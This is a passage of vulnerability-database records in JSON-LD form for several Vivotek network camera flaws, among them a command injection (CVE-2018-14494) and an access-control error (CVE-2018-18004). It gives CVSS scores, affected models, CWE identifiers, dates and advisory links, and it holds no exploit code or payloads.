"date": "2018-12-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"date": "2018-09-06T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-208"
},
{
"date": "2018-09-05T21:29:00.780000",
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-03-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"date": "2020-08-24T00:00:00",
"db": "VULHUB",
"id": "VHN-124963"
},
{
"date": "2018-12-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"date": "2020-10-22T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-208"
},
{
"date": "2024-11-21T03:49:45.070000",
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK FD8177 Command injection vulnerabilities in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "command injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
}
],
"trust": 0.6
}
}
VAR-201907-1136
Vulnerability from variot - Updated: 2024-11-23 23:01Vivotek FD8136 devices allow Remote Command Injection, related to BusyBox and wget. NOTE: the vendor sent a clarification on 2019-09-17 explaining that, although this CVE was first populated in July 2019, it is a historical vulnerability that does not apply to any current or recent Vivotek hardware or firmware. Vivotek FD8136 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. VivotekFD8136 is a hemispherical network camera from China's Taiwan Vivotek. There is a command injection vulnerability in VivotekFD8136. The vulnerability stems from the fact that external input data constructs executable commands, and the network system or product does not properly filter the special elements. An attacker could exploit the vulnerability to execute an illegal command
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1136",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "fd8136",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "0301a"
},
{
"model": "network camera fd8136",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "fd8136",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:vivotek:fd8136_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
}
]
},
"cve": "CVE-2018-14494",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2018-14494",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-22783",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-124659",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2018-14494",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-14494",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2018-14494",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2019-22783",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-552",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-124659",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"db": "VULHUB",
"id": "VHN-124659"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-552"
},
{
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Vivotek FD8136 devices allow Remote Command Injection, related to BusyBox and wget. NOTE: the vendor sent a clarification on 2019-09-17 explaining that, although this CVE was first populated in July 2019, it is a historical vulnerability that does not apply to any current or recent Vivotek hardware or firmware. Vivotek FD8136 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. VivotekFD8136 is a hemispherical network camera from China\u0027s Taiwan Vivotek. There is a command injection vulnerability in VivotekFD8136. The vulnerability stems from the fact that external input data constructs executable commands, and the network system or product does not properly filter the special elements. An attacker could exploit the vulnerability to execute an illegal command",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-14494"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"db": "VULHUB",
"id": "VHN-124659"
}
],
"trust": 2.25
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-14494",
"trust": 3.1
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-552",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-22783",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-124659",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"db": "VULHUB",
"id": "VHN-124659"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-552"
},
{
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"id": "VAR-201907-1136",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"db": "VULHUB",
"id": "VHN-124659"
}
],
"trust": 1.45
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"ICS",
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-22783"
}
]
},
"last_update_date": "2024-11-23T23:01:47.836000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "FD8136",
"trust": 0.8,
"url": "https://www.vivotek.com/fd8136"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.1
},
{
"problemtype": "CWE-77",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-124659"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://www.vdalabs.com/2018/07/23/professional-iot-hacking-series-target-selection-firmware-analysis/"
},
{
"trust": 2.3,
"url": "https://www.vdalabs.com/2018/08/06/professional-iot-hacking-series-hunting-remote-command-injection/"
},
{
"trust": 1.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-14494"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-14494"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"db": "VULHUB",
"id": "VHN-124659"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-552"
},
{
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"db": "VULHUB",
"id": "VHN-124659"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-552"
},
{
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"date": "2019-07-10T00:00:00",
"db": "VULHUB",
"id": "VHN-124659"
},
{
"date": "2019-07-12T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"date": "2019-07-10T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-552"
},
{
"date": "2019-07-10T13:15:10.590000",
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-22783"
},
{
"date": "2020-08-24T00:00:00",
"db": "VULHUB",
"id": "VHN-124659"
},
{
"date": "2019-07-12T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-015834"
},
{
"date": "2020-10-28T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-552"
},
{
"date": "2024-11-21T03:49:11.077000",
"db": "NVD",
"id": "CVE-2018-14494"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-552"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Vivotek FD8136 Command injection vulnerability in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-015834"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-552"
}
],
"trust": 0.6
}
}
VAR-201901-0604
Vulnerability from variot - Updated: 2024-11-23 22:48Incorrect Access Control in mod_inetd.cgi in VIVOTEK Network Camera Series products with firmware before XXXXXX-VVTK-0X09a allows remote attackers to enable arbitrary system services via a URL parameter. VIVOTEK Network Camera Series is a series of network camera products of VIVOTEK Corporation in China
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201901-0604",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": "lt",
"trust": 0.8,
"vendor": "vivotek",
"version": "xxxxxx-vvtk-0x09a"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
},
{
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
}
]
},
"cve": "CVE-2018-18004",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "CVE-2018-18004",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "VHN-128520",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:N/I:P/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"exploitabilityScore": 3.9,
"id": "CVE-2018-18004",
"impactScore": 1.4,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-18004",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2018-18004",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNNVD",
"id": "CNNVD-201901-064",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-128520",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128520"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
},
{
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Incorrect Access Control in mod_inetd.cgi in VIVOTEK Network Camera Series products with firmware before XXXXXX-VVTK-0X09a allows remote attackers to enable arbitrary system services via a URL parameter. VIVOTEK Network Camera Series is a series of network camera products of VIVOTEK Corporation in China",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-18004"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "VULHUB",
"id": "VHN-128520"
}
],
"trust": 1.71
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-18004",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013357",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201901-064",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-128520",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128520"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
},
{
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"id": "VAR-201901-0604",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-128520"
}
],
"trust": 0.9783784
},
"last_update_date": "2024-11-23T22:48:30.767000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VVTK-SA-2018-006",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-006-v1.pdf"
},
{
"title": "VIVOTEK Network Camera Repairs for Series Product Access Control Error Vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=100320"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-862",
"trust": 1.1
},
{
"problemtype": "CWE-284",
"trust": 0.8
},
{
"problemtype": "CWE-425",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128520"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.7,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-006-v1.pdf"
},
{
"trust": 1.7,
"url": "https://blog.securityevaluators.com/vivotek-ip-camera-vulnerabilities-discovered-and-exploited-2e2531ecd244"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-18004"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-18004"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128520"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
},
{
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-128520"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
},
{
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-01-03T00:00:00",
"db": "VULHUB",
"id": "VHN-128520"
},
{
"date": "2019-02-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"date": "2019-01-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201901-064"
},
{
"date": "2019-01-03T20:29:00.267000",
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-08-24T00:00:00",
"db": "VULHUB",
"id": "VHN-128520"
},
{
"date": "2019-02-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-013357"
},
{
"date": "2020-08-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201901-064"
},
{
"date": "2024-11-21T03:55:21.190000",
"db": "NVD",
"id": "CVE-2018-18004"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK Network Camera Product firmware Access control vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013357"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "access control error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201901-064"
}
],
"trust": 0.6
}
}
VAR-201909-1474
Vulnerability from variot - Updated: 2024-11-23 22:44An authentication bypass vulnerability in VIVOTEK IPCam versions prior to 0x13a was found. VIVOTEK IPCam Contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Vivotek VIVOTEK IPCam is a network camera produced by Taiwan Vivotek Corporation. This vulnerability stems from the lack of authentication measures or insufficient authentication strength in network systems or products
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
